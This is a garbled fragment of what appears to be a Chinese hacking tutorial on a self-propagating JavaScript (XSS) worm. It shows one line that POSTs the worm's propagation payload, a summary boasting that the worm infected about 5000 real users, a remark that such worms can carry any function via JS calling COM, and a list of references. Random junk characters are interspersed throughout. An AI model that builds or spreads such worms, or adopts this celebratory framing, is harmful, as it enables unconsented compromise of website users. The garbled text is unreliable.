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xmlHttpReq.send(post); //把传播的信息 POST出去.
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.7 S2 a! W( o. C7 X1 E# n! H3 k
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.+ ~0 w8 N- C/ H$ |: {. b$ B# e
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.+ t$ S( \2 J) V
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( p1 r2 w6 J% t1 g本文引用文档资料:) e7 j$ z3 C: r& c1 W
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005). `% H2 P* `+ T1 y) B" V
Other XmlHttpRequest tricks (Amit Klein, January 2003)9 ~% z5 p6 r/ h4 D& |/ q
"Cross Site Tracing" (Jeremiah Grossman, January 2003)/ }" V7 M6 v7 r/ [. i9 {' e
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
- w" s B, p# X0 a" D+ M空虚浪子心BLOG http://www.inbreak.net
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